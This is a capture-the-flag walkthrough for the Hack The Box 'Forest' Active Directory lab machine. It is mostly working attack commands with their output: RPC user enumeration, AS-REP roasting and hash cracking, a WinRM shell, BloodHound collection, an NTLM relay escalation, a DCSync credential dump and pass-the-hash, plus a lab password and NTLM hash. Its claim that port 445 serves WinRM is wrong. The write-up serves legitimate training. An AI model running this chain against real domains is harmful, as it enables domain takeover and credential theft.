# Forest ![Forest](https://1376882418-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3F_z2GTZ6JS2CWL_B6%2F-M3R6xGthLdgygIo9fzR%2F-M3RAyaEk6nKgYH7ZH_H%2Fforest.png?alt=media\&token=bec24af2-3534-4e02-9f95-85058facb96b) Forest is a easy difficulty windows box that's a great introduction to Windows Active Directory ## Recon we start off by scanning Forest's IP `10.10.10.161` with `nmap` ``` nmap -T4 -A -v 10.10.10.161 ``` From Our Results we get the following services and ports ``` PORT STATE SERVICE VERSION 53/tcp open domain? | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 88/tcp open kerberos-sec Microsoft Windows Kerberos 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped ``` Great! seeing as `ldap` is present we can assume that the target machine has Active Directory in addition we find that it's also running `rpc` with this in mind we can go on to enumerate rpc, For this we will be using `rpcclient` ``` rpcclient -U "" -N 10.10.10.161 rpcclient $> enumdomusers ``` Output ``` user:[Administrator] rid:[0x1f4] user:[Guest] rid:[0x1f5] user:[krbtgt] rid:[0x1f6] user:[DefaultAccount] rid:[0x1f7] user:[$331000-VK4ADACQNUCA] rid:[0x463] user:[SM_2c8eef0a09b545acb] rid:[0x464] user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465] user:[SM_75a538d3025e4db9a] rid:[0x466] user:[SM_681f53d4942840e18] rid:[0x467] user:[SM_1b41c9286325456bb] rid:[0x468] user:[SM_9b69f1b9d2cc45549] rid:[0x469] user:[SM_7c96b981967141ebb] rid:[0x46a] user:[SM_c75ee099d0a64c91b] rid:[0x46b] user:[SM_1ffab36a2f5f479cb] rid:[0x46c] user:[HealthMailboxc3d7722] rid:[0x46e] user:[HealthMailboxfc9daad] rid:[0x46f] user:[HealthMailboxc0a90c9] rid:[0x470] user:[HealthMailbox670628e] rid:[0x471] user:[HealthMailbox968e74d] rid:[0x472] user:[HealthMailbox6ded678] rid:[0x473] user:[HealthMailbox83d6781] rid:[0x474] user:[HealthMailboxfd87238] rid:[0x475] user:[HealthMailboxb01ac64] rid:[0x476] user:[HealthMailbox7108a4e] rid:[0x477] user:[HealthMailbox0659cc1] rid:[0x478] user:[sebastien] rid:[0x479] user:[lucinda] rid:[0x47a] user:[svc-alfresco] rid:[0x47b] user:[andy] rid:[0x47e] user:[mark] rid:[0x47f] user:[santi] rid:[0x480] ``` Great! using a null auth `rpcclient` we were able to enumerate all domain accounts currently present. Using the above output we can create a userlist, but where do we go from here? going back to our nmap results we see that we also have `88/tcp kerberos` open. After a little Googling we can find the following article Based on the article it's safe to assume we can performing AS-REP Roasting with GetNPUsers which does not require a preauthentication ``` GetNPUsers.py htb/ -usersfile users -format john -dc-ip 10.10.10.161 ``` ``` Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] User HealthMailboxc3d7722 doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User HealthMailboxfc9daad doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User HealthMailboxc0a90c9 doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User HealthMailbox670628e doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User HealthMailbox968e74d doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User HealthMailbox6ded678 doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User HealthMailbox83d6781 doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User HealthMailboxfd87238 doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User HealthMailboxb01ac64 doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User HealthMailbox7108a4e doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User HealthMailbox0659cc1 doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set $krb5asrep$svc-alfresco@HTB:8dcbc66282c32c8bf15fff7b6a42c9f8$45935eae2477d728ec2d6728b2b05c659110c677a6b9b8db4755266757be98127ff6da3afd5255f3e8c1858914ffddd5e9269b65330e678930de0142df1c5f29035826ffc0bae9a00967ff842362b4f0dd80422898e509b38b926b3606dba13e2c059b06592b356590ea262789412b674c9ae9940bdd3dcd3dc31b76ab79fbde9a5c294865a999032ff52195247eef62f2257c6af19cdc157e23e86fecc1beaa0bdc21d6b9ef37cf6fbc3c488e14f89c626a315022abf8a0743f2f48e2975badfd7e0ba097dd7cfeb20dccbf5aa4600613ab2db8b154bf496edfed82a3fe0b3c [-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set ``` From the output we've been able to get the hash for `svc-alfresco` and now to crack it ## Exploit ``` john --wordlist=/root/Downloads/Dic/rockyou.txt hash > crackedHash s3rvice ($krb5asrep$svc-alfresco@HTB) ``` And we have our user and pass, Doubling back to our nmap scan we also see that we have port `445/tcp` allowing us to use WinRm. A great tool to establish a shell with WinRm is and that is what we'll be using ``` evil-winrm -i 10.10.10.161 -u svc-alfresco -p 's3rvice' ``` And with this we have our shell! ``` cd ../Desktop cat user.txt ``` and our first flag! ## Post Exploitation Now that we've been able get user our next step is to get Admin and the root flag Knowing that it's a Domain we can use `net groups` to reveal what groups have what privileges ``` net groups ``` ``` *$D31000-NSEL5BRJ63V7 *Cloneable Domain Controllers *Compliance Management *Delegated Setup *Discovery Management *DnsUpdateProxy *Domain Admins *Domain Computers *Domain Controllers *Domain Guests *Domain Users *Enterprise Admins *Enterprise Key Admins *Enterprise Read-only Domain Controllers *Exchange Servers *Exchange Trusted Subsystem *Exchange Windows Permissions *ExchangeLegacyInterop *Group Policy Creator Owners *Help Desk *Hygiene Management *Key Admins *Managed Availability Servers *Organization Management *Privileged IT Accounts *Protected Users *Public Folder Management *Read-only Domain Controllers *Recipient Management *Records Management *Schema Admins *Security Administrator *Security Reader *Server Management *Service Accounts *test *UM Management *View-Only Organization Management ``` with this we can see the groups present and whats more we find that the `Exchange servers` group is present. ``` whoami /all GROUP INFORMATION ----------------- Group Name Type SID Attributes ========================================== ================ ============================================= ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group BUILTIN\Account Operators Alias S-1-5-32-548 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group HTB\Privileged IT Accounts Group S-1-5-21-3072663084-364016917-1341370565-1149 Mandatory group, Enabled by default, Enabled group HTB\Service Accounts Group S-1-5-21-3072663084-364016917-1341370565-1148 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\Medium Mandatory Level Label S-1-16-8192 PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled USER CLAIMS INFORMATION ----------------------- User claims unknown. ``` we can also see what groups our current user is a part of Next we upload BloodHound to get more information about the environment ``` upload /root/Bloodhound/Ingestors/SharpHound.ps1 Import-Module ./SharpHound.ps1 Invoke-Bloodhound -CollectionMethod All -Domain htb.local -LDAPUser svc-alfresco -LDAPPass s3rvice download bloodhound.zip ``` We can load up the graph to bloodhound and find a attack path ![](https://1376882418-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3F_z2GTZ6JS2CWL_B6%2F-M3VgnIdT1HI4yItGI1p%2F-M3Vl8gFpkmRkHDWX5ff%2Fforest.png?alt=media\&token=5cf962a1-c23b-415f-a057-1fb3f758389f) Given we are part of the group `Priveleged IT Accounts` we can add ourselves to `Exchange servers` group ``` net groups "Exchange Windows Permissions" svc-alfresco /ADD ``` with this we can perform a NTLMRelay attack ``` ntlmrelayx.py -t ldap://10.10.10.161 --escalate-user svc-alfresco ``` after invoking this we have to visit the following `http://localhost/privexchange` and provide the credentials for `svc-alfresco` after a while we should get the `SUCCEED` message on the `ntlmrelayx` terminal ``` Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] Protocol Client LDAPS loaded.. [*] Protocol Client LDAP loaded.. [*] Protocol Client SMB loaded.. [*] Protocol Client SMTP loaded.. [*] Protocol Client IMAPS loaded.. [*] Protocol Client IMAP loaded.. [*] Protocol Client MSSQL loaded.. [*] Protocol Client HTTPS loaded.. [*] Protocol Client HTTP loaded.. [*] Running in relay mode to single host [*] Setting up SMB Server [*] Setting up HTTP Server [*] Servers started, waiting for connections [*] HTTPD: Received connection from 127.0.0.1, attacking target ldap://10.10.10.161 [*] HTTPD: Client requested path: /privexchange [*] HTTPD: Client requested path: /privexchange [*] HTTPD: Client requested path: /privexchange [*] HTTPD: Received connection from 127.0.0.1, attacking target ldap://10.10.10.161 [*] HTTPD: Received connection from 127.0.0.1, attacking target ldap://10.10.10.161 [*] HTTPD: Client requested path: /privexchange [*] HTTPD: Client requested path: /privexchange [*] HTTPD: Client requested path: /privexchange [*] Authenticating against ldap://10.10.10.161 as \svc-alfresco SUCCEED [*] Enumerating relayed user's privileges. This may take a while on large domains [-] Exception in HTTP request handler: [Errno 32] Broken pipe [-] [Errno 32] Broken pipe [*] User privileges found: Create user [*] Dumping domain info for first time [*] Domain info dumped into lootdir! [*] Authenticating against ldap://10.10.10.161 as \svc-alfresco SUCCEED [*] Enumerating relayed user's privileges. This may take a while on large domains [*] HTTPD: Received connection from 127.0.0.1, attacking target ldap://10.10.10.161 [*] HTTPD: Client requested path: /favicon.ico [*] HTTPD: Client requested path: /favicon.ico [*] HTTPD: Client requested path: /favicon.ico [*] User privileges found: Create user [*] Authenticating against ldap://10.10.10.161 as \svc-alfresco SUCCEED [*] Enumerating relayed user's privileges. This may take a while on large domains [*] User privileges found: Create user ``` Perfect, from here we can get the Administrator users hash via `dcsync` ``` secretsdump.py htb.local/svc-alfresco@10.10.10.161 -just-dc ``` and to pass the hash we'll use `wmiexec.py` ``` wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 Administrator@10.10.10.161 ``` ``` cd ../Desktop cat root.txt ``` And our root flag is ## Useful Links